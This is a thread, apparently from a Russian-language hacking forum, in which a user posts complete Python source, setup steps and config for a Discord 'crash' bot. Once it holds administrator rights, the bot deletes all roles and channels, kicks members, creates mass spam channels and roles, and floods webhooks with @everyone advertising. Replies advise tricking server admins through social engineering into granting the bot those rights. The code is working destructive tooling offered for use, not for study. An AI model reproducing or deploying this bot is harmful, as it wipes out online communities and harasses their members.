• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Discord Bot для краша серверов!

Genjutsu

floppy-диск
Пользователь
Регистрация
15.05.2025
Сообщения
8
Реакции
13
💥Сегодня я хочу предоставить Source Код моего личного бота для краша дискорд серверов, с ним вы можете трахнуть что угодно.
- бот написан на Python 3.11+
- Что умеет бот?


- Изменяет название и иконку сервера

- Удаляет каналы и роли

- Создаёт множество каналов и ролей

- Кикает участников (для демонстрации прав администратора);

- Создаёт webhook и массово отправляет сообщения;

- Все параметры конфигурируются через config.json.


⚠️ САМ КОД В КОНЦЕ ⚠️

Настройка:

1. Установите зависимости, проще говоря библы.


Код:
pip install discord.py aiohttp


2. Составьте структуру для бота, она должна выглядеть так
Код:
Crash/
│
├── main.py         # основной скрипт бота
├── start.bat        # батник для запуска
├── config.json    # настройки в  JSON
├── crashed.jpg   # иконка

3. Создайте Appication и Token для вашего Трах-бота

  • Создайте себе Aplication на https://discord.com/developers
  • Также создайте ссылку в oauth2 для использования вашего бота на практике.
Код:
oauth2
├Scopes - bot
├Bot Permissions - Administrator


- Ваши настройки должны выглядеть так:

1748690184705.png


4. Заполните свои данные в Json конфиге

Содержимое config.json

Код:
{
  "guild_name": "Переезд на",
  "guild_icon": "crashed.jpg",
  "role_name": "CRASH BY",
  "channel_name": "CRASH BY",
  "kick_reason": "Вы крашнуты!",
  "role_delete_reason": "Вы крашнуты!",
  "channel_delete_reason": "Вы крашнуты!",
  "webhook_name": "NAME",
  "webhook_message": "@everyone Переезд на https://discord.gg/crashed",
  "webhook_username": "Crashed",
  "webhook_repeat": 100,
  "spam_channel_count": 100,
  "spam_role_count": 100,
  "token": "Ваш Токен"
}

Чаво и где заполнять blyat`
  • "guild_name": "Переезд на Name", Название которое будет стоять после краша
  • "guild_icon": "crashed.jpg", Укажите файл картинки которая будет стоять на сервере
  • "role_name": "CRASH BY", Имена созданных ролей
  • "channel_name": "CRASH BY", Имена созданных каналов
  • "kick_reason": "Вы крашнуты!", Причина кика
  • "role_delete_reason": "Вы крашнуты!", Причина удаления ролей
  • "channel_delete_reason": "Вы крашнуты!", Причина удаления каналов
  • "webhook_name": "NAME", Имя вебхуков (Имя того что будет спамить)
  • "webhook_message": "@everyone Переезд на https://discord.gg/crashed", Ваш текст для спама
  • "webhook_username": "Crashed", Имя Спамера
  • "webhook_repeat": 100, Повторения спама
  • "spam_channel_count": 100, Количество сообщений
  • "spam_role_count": 100, Количество созданных ролей
  • "token": "Ваш Токен" Токен от бота

5. Сам код и конфиг

/main.py

Python:
import discord
from discord.ext import commands
import asyncio
import aiohttp
import json


with open('config.json', 'r', encoding='utf-8') as f:
    config = json.load(f)


intents = discord.Intents.default()
intents.members = True
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)
bot.remove_command("help")


@bot.command()
async def Trah(ctx):
    guild = ctx.guild
    with open(config['guild_icon'], 'rb') as f:
        icon = f.read()
        await guild.edit(name=config['guild_name'], icon=icon)
        await ctx.message.delete()


    for role in guild.roles:
        try:
            await role.delete(reason=config['role_delete_reason'])
        except:
            pass


    for channel in guild.channels:
        try:
            await channel.delete(reason=config['channel_delete_reason'])
        except:
            pass


    for _ in range(config['spam_channel_count']):
        await guild.create_text_channel(config['channel_name'])


    for _ in range(config['spam_role_count']):
        await guild.create_role(name=config['role_name'])


    for member in guild.members:
        try:
            await member.kick(reason=config['kick_reason'])
        except:
            pass


@bot.event
async def on_guild_channel_create(channel):
    webhook = await channel.create_webhook(name=config['webhook_name'])
    async with aiohttp.ClientSession() as session:
        webhook = discord.Webhook.from_url(str(webhook.url), session=session)
        for _ in range(config['webhook_repeat']):
            try:
                await webhook.send(config['webhook_message'], username=config['webhook_username'])
            except:
                pass


bot.run(config["token"])

/config.json

Код:
{
  "guild_name": "Переезд на Name",
  "guild_icon": "crashed.jpg",
  "role_name": "CRASH BY",
  "channel_name": "CRASH BY",
  "kick_reason": "Вы крашнуты!",
  "role_delete_reason": "Вы крашнуты!",
  "channel_delete_reason": "Вы крашнуты!",
  "webhook_name": "NAME",
  "webhook_message": "@everyone Переезд на https://discord.gg/crashed",
  "webhook_username": "Crashed",
  "webhook_repeat": 100,
  "spam_channel_count": 100,
  "spam_role_count": 100,
  "token": "Ваш Токен"
}


/start.bat

Код:
cmd.exe /k "python main.py"

-------------------------------------------------------------

Дорогие друзья, искренне благодарю за чтение моей статьи, бот мой и я старался расписать более подробно, жду ваших реакций.

Как говорил Леонид Ильич

Критика не шоколад, чтобы её любить.

1748691051330.png
 
Молодец, спасибо. Бот отработает только в случае если является админом группы?
Напиши по возможности еще статью по клиентскому боту для дискорда, вот можешь мой автопостер для дискорда клиентский глянуть /threads/106408/
 
Молодец, спасибо. Бот отработает только в случае если является админом группы?
Напиши по возможности еще статью по клиентскому боту для дискорда, вот можешь мой автопостер для дискорда клиентский глянуть /threads/106408/
Без прав админа он не сможет удалять каналы и чаты :)
 
Без прав админа он не сможет удалять каналы и чаты :)
Ну тогда с применением соц.инженерии убедить админа чата что бот топ и получить админку. =)
 
Молодец, спасибо. Бот отработает только в случае если является админом группы?
Напиши по возможности еще статью по клиентскому боту для дискорда, вот можешь мой автопостер для дискорда клиентский глянуть /threads/106408/
Да, получить администратора и сервер можно отлично снести
 
Ну тогда с применением соц.инженерии убедить админа чата что бот топ и получить админку. =)
Верно, оно так и делается обычно
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх